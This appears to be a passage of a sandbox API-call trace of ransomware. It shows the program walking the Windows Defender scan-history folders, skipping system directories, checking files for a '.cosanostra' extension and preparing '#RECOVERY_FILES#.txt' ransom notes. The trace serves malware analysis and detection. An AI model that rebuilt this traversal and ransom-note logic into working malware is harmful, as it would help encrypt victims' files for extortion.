[0081.373] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.373] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.373] lstrlenW (lpString="Windows") returned 7 [0081.373] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.373] lstrlenW (lpString="Program Files") returned 13 [0081.373] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.373] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.373] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.373] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.373] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.373] lstrlenW (lpString="System Volume Information") returned 25 [0081.373] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\..") returned 62 [0081.373] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.373] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.373] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.373] lstrcmpiW (lpString1="CacheManager", lpString2="Windows") returned -1 [0081.373] lstrlenW (lpString="Windows") returned 7 [0081.373] lstrcmpiW (lpString1="CacheManager", lpString2="Program Files") returned -1 [0081.373] lstrlenW (lpString="Program Files") returned 13 [0081.373] lstrcmpiW (lpString1="CacheManager", lpString2="Program Files (x86)") returned -1 [0081.373] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.373] lstrcmpiW (lpString1="CacheManager", lpString2="$Recycle.bin") returned 1 [0081.373] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.373] lstrcmpiW (lpString1="CacheManager", lpString2="System Volume Information") returned -1 [0081.373] lstrlenW (lpString="System Volume Information") returned 25 [0081.373] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager") returned 72 [0081.373] lstrcmpW (lpString1="CacheManager", lpString2=".") returned 1 [0081.373] lstrcmpW (lpString1="CacheManager", lpString2="..") returned 1 [0081.374] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*") returned 74 [0081.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.374] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.374] lstrlenW (lpString="Windows") returned 7 [0081.374] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.374] lstrlenW (lpString="Program Files") returned 13 [0081.374] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.374] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.374] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.374] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.374] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.374] lstrlenW (lpString="System Volume Information") returned 25 [0081.374] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\.") returned 74 [0081.374] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.374] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.374] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.374] lstrlenW (lpString="Windows") returned 7 [0081.374] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.374] lstrlenW (lpString="Program Files") returned 13 [0081.374] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.374] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.374] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.374] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.375] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.375] lstrlenW (lpString="System Volume Information") returned 25 [0081.375] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\..") returned 75 [0081.375] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.375] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.375] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.375] lstrcmpiW (lpString1="MpSfc.bin", lpString2="Windows") returned -1 [0081.375] lstrlenW (lpString="Windows") returned 7 [0081.375] lstrcmpiW (lpString1="MpSfc.bin", lpString2="Program Files") returned -1 [0081.375] lstrlenW (lpString="Program Files") returned 13 [0081.375] lstrcmpiW (lpString1="MpSfc.bin", lpString2="Program Files (x86)") returned -1 [0081.375] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.375] lstrcmpiW (lpString1="MpSfc.bin", lpString2="$Recycle.bin") returned 1 [0081.375] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.375] lstrcmpiW (lpString1="MpSfc.bin", lpString2="System Volume Information") returned -1 [0081.375] lstrlenW (lpString="System Volume Information") returned 25 [0081.375] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin") returned 82 [0081.375] StrStrIW (lpFirst="MpSfc.bin", lpSrch=".cosanostra") returned 0x0 [0081.375] lstrcmpW (lpString1="MpSfc.bin", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.375] lstrcmpW (lpString1="MpSfc.bin", lpString2="_uninstalling_.png") returned 1 [0081.375] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\MpSfc.bin") returned 82 [0081.375] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0081.375] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0081.375] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\#RECOVERY_FILES#.txt") returned 93 [0081.375] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\#RECOVERY_FILES#.txt") returned 93 [0081.375] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.375] lstrcmpiW (lpString1="Results", lpString2="Windows") returned -1 [0081.375] lstrlenW (lpString="Windows") returned 7 [0081.375] lstrcmpiW (lpString1="Results", lpString2="Program Files") returned 1 [0081.376] lstrlenW (lpString="Program Files") returned 13 [0081.376] lstrcmpiW (lpString1="Results", lpString2="Program Files (x86)") returned 1 [0081.376] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.376] lstrcmpiW (lpString1="Results", lpString2="$Recycle.bin") returned 1 [0081.376] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.376] lstrcmpiW (lpString1="Results", lpString2="System Volume Information") returned -1 [0081.376] lstrlenW (lpString="System Volume Information") returned 25 [0081.376] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results") returned 67 [0081.376] lstrcmpW (lpString1="Results", lpString2=".") returned 1 [0081.376] lstrcmpW (lpString1="Results", lpString2="..") returned 1 [0081.376] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*") returned 69 [0081.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.376] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.376] lstrlenW (lpString="Windows") returned 7 [0081.376] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.376] lstrlenW (lpString="Program Files") returned 13 [0081.376] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.376] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.376] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.376] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.376] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.376] lstrlenW (lpString="System Volume Information") returned 25 [0081.376] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\.") returned 69 [0081.376] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.376] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.376] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.376] lstrlenW (lpString="Windows") returned 7 [0081.376] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.376] lstrlenW (lpString="Program Files") returned 13 [0081.377] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.377] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.377] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.377] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.377] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.377] lstrlenW (lpString="System Volume Information") returned 25 [0081.377] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\..") returned 70 [0081.377] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.377] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.377] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.377] lstrcmpiW (lpString1="Resource", lpString2="Windows") returned -1 [0081.377] lstrlenW (lpString="Windows") returned 7 [0081.377] lstrcmpiW (lpString1="Resource", lpString2="Program Files") returned 1 [0081.377] lstrlenW (lpString="Program Files") returned 13 [0081.377] lstrcmpiW (lpString1="Resource", lpString2="Program Files (x86)") returned 1 [0081.377] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.377] lstrcmpiW (lpString1="Resource", lpString2="$Recycle.bin") returned 1 [0081.377] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.377] lstrcmpiW (lpString1="Resource", lpString2="System Volume Information") returned -1 [0081.377] lstrlenW (lpString="System Volume Information") returned 25 [0081.377] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource") returned 76 [0081.377] lstrcmpW (lpString1="Resource", lpString2=".") returned 1 [0081.377] lstrcmpW (lpString1="Resource", lpString2="..") returned 1 [0081.378] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*") returned 78 [0081.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*", lpFindFileData=0x2cfe128 | out: lpFindFileData=0x2cfe128) returned 0x25a8f0 [0081.378] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.378] lstrlenW (lpString="Windows") returned 7 [0081.378] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.378] lstrlenW (lpString="Program Files") returned 13 [0081.378] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.378] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.378] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.378] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.378] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.378] lstrlenW (lpString="System Volume Information") returned 25 [0081.378] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\.") returned 78 [0081.378] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.378] FindNextFileW (in: hFindFile=0x25a8f0, lpFindFileData=0x2cfe128 | out: lpFindFileData=0x2cfe128) returned 1 [0081.378] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.378] lstrlenW (lpString="Windows") returned 7 [0081.378] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.378] lstrlenW (lpString="Program Files") returned 13 [0081.379] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.379] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.379] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.379] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.379] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.379] lstrlenW (lpString="System Volume Information") returned 25 [0081.379] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\..") returned 79 [0081.379] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.379] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.379] FindNextFileW (in: hFindFile=0x25a8f0, lpFindFileData=0x2cfe128 | out: lpFindFileData=0x2cfe128) returned 1 [0081.379] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="Windows") returned -1 [0081.379] lstrlenW (lpString="Windows") returned 7 [0081.379] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="Program Files") returned -1 [0081.379] lstrlenW (lpString="Program Files") returned 13 [0081.379] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="Program Files (x86)") returned -1 [0081.379] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.379] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="$Recycle.bin") returned 1 [0081.379] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.379] lstrcmpiW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="System Volume Information") returned -1 [0081.379] lstrlenW (lpString="System Volume Information") returned 25 [0081.379] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 115 [0081.379] StrStrIW (lpFirst="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpSrch=".cosanostra") returned 0x0 [0081.379] lstrcmpW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.379] lstrcmpW (lpString1="{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}", lpString2="_uninstalling_.png") returned 1 [0081.379] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\{1D1DBF3A-752F-47E2-BE70-D848D4A9AFB0}") returned 115 [0081.379] FindNextFileW (in: hFindFile=0x25a8f0, lpFindFileData=0x2cfe128 | out: lpFindFileData=0x2cfe128) returned 0 [0081.379] FindClose (in: hFindFile=0x25a8f0 | out: hFindFile=0x25a8f0) returned 1 [0081.379] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\#RECOVERY_FILES#.txt") returned 97 [0081.379] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\#RECOVERY_FILES#.txt") returned 97 [0081.379] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0081.379] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0081.380] wnsprintfW (in: pszDest=0x29ed70, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\#RECOVERY_FILES#.txt") returned 88 [0081.380] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Results\\#RECOVERY_FILES#.txt") returned 88 [0081.380] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.380] lstrcmpiW (lpString1="Service", lpString2="Windows") returned -1 [0081.380] lstrlenW (lpString="Windows") returned 7 [0081.380] lstrcmpiW (lpString1="Service", lpString2="Program Files") returned 1 [0081.380] lstrlenW (lpString="Program Files") returned 13 [0081.380] lstrcmpiW (lpString1="Service", lpString2="Program Files (x86)") returned 1 [0081.380] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.380] lstrcmpiW (lpString1="Service", lpString2="$Recycle.bin") returned 1 [0081.380] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.380] lstrcmpiW (lpString1="Service", lpString2="System Volume Information") returned -1 [0081.380] lstrlenW (lpString="System Volume Information") returned 25 [0081.380] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service") returned 67 [0081.380] lstrcmpW (lpString1="Service", lpString2=".") returned 1 [0081.380] lstrcmpW (lpString1="Service", lpString2="..") returned 1 [0081.380] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*") returned 69 [0081.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.387] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.387] lstrlenW (lpString="Windows") returned 7 [0081.387] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.387] lstrlenW (lpString="Program Files") returned 13 [0081.387] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.387] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.387] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.387] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.387] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.387] lstrlenW (lpString="System Volume Information") returned 25 [0081.387] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\.") returned 69 [0081.387] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.387] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.387] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.387] lstrlenW (lpString="Windows") returned 7 [0081.387] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.387] lstrlenW (lpString="Program Files") returned 13 [0081.387] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.387] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.387] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.387] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.387] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.387] lstrlenW (lpString="System Volume Information") returned 25 [0081.387] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\..") returned 70 [0081.387] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.387] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.387] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.388] lstrcmpiW (lpString1="History.Log", lpString2="Windows") returned -1 [0081.388] lstrlenW (lpString="Windows") returned 7 [0081.388] lstrcmpiW (lpString1="History.Log", lpString2="Program Files") returned -1 [0081.388] lstrlenW (lpString="Program Files") returned 13 [0081.388] lstrcmpiW (lpString1="History.Log", lpString2="Program Files (x86)") returned -1 [0081.388] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.388] lstrcmpiW (lpString1="History.Log", lpString2="$Recycle.bin") returned 1 [0081.388] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.388] lstrcmpiW (lpString1="History.Log", lpString2="System Volume Information") returned -1 [0081.388] lstrlenW (lpString="System Volume Information") returned 25 [0081.388] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log") returned 79 [0081.388] StrStrIW (lpFirst="History.Log", lpSrch=".cosanostra") returned 0x0 [0081.388] lstrcmpW (lpString1="History.Log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.388] lstrcmpW (lpString1="History.Log", lpString2="_uninstalling_.png") returned 1 [0081.388] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\History.Log") returned 79 [0081.388] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.388] lstrcmpiW (lpString1="Unknown.Log", lpString2="Windows") returned -1 [0081.388] lstrlenW (lpString="Windows") returned 7 [0081.388] lstrcmpiW (lpString1="Unknown.Log", lpString2="Program Files") returned 1 [0081.388] lstrlenW (lpString="Program Files") returned 13 [0081.388] lstrcmpiW (lpString1="Unknown.Log", lpString2="Program Files (x86)") returned 1 [0081.388] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.388] lstrcmpiW (lpString1="Unknown.Log", lpString2="$Recycle.bin") returned 1 [0081.388] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.388] lstrcmpiW (lpString1="Unknown.Log", lpString2="System Volume Information") returned 1 [0081.388] lstrlenW (lpString="System Volume Information") returned 25 [0081.388] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log") returned 79 [0081.388] StrStrIW (lpFirst="Unknown.Log", lpSrch=".cosanostra") returned 0x0 [0081.388] lstrcmpW (lpString1="Unknown.Log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.388] lstrcmpW (lpString1="Unknown.Log", lpString2="_uninstalling_.png") returned 1 [0081.388] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\Unknown.Log") returned 79 [0081.388] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0081.388] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0081.388] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\#RECOVERY_FILES#.txt") returned 88 [0081.388] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\#RECOVERY_FILES#.txt") returned 88 [0081.389] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.389] lstrcmpiW (lpString1="Store", lpString2="Windows") returned -1 [0081.389] lstrlenW (lpString="Windows") returned 7 [0081.389] lstrcmpiW (lpString1="Store", lpString2="Program Files") returned 1 [0081.389] lstrlenW (lpString="Program Files") returned 13 [0081.389] lstrcmpiW (lpString1="Store", lpString2="Program Files (x86)") returned 1 [0081.389] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.389] lstrcmpiW (lpString1="Store", lpString2="$Recycle.bin") returned 1 [0081.389] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.389] lstrcmpiW (lpString1="Store", lpString2="System Volume Information") returned -1 [0081.389] lstrlenW (lpString="System Volume Information") returned 25 [0081.389] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store") returned 65 [0081.389] lstrcmpW (lpString1="Store", lpString2=".") returned 1 [0081.389] lstrcmpW (lpString1="Store", lpString2="..") returned 1 [0081.390] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*") returned 67 [0081.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.390] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0081.390] lstrlenW (lpString="Windows") returned 7 [0081.390] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0081.390] lstrlenW (lpString="Program Files") returned 13 [0081.390] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0081.390] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.390] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0081.390] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.390] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0081.390] lstrlenW (lpString="System Volume Information") returned 25 [0081.390] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\.") returned 67 [0081.390] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.390] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.390] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0081.390] lstrlenW (lpString="Windows") returned 7 [0081.390] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0081.390] lstrlenW (lpString="Program Files") returned 13 [0081.390] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0081.390] lstrlenW (lpString="Program Files (x86)") returned 19 [0081.390] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0081.390] lstrlenW (lpString="$Recycle.bin") returned 12 [0081.390] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0081.390] lstrlenW (lpString="System Volume Information") returned 25 [0081.390] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\..") returned 68 [0081.390] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.391] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.391] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0 [0081.391] FindClose (in: hFindFile=0x25a8b0 | out: hFindFile=0x25a8b0) returned 1 [0081.391] wnsprintfW (in: pszDest=0x2d6fc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Store\\#RECOVERY_FILES#.txt") returned 86 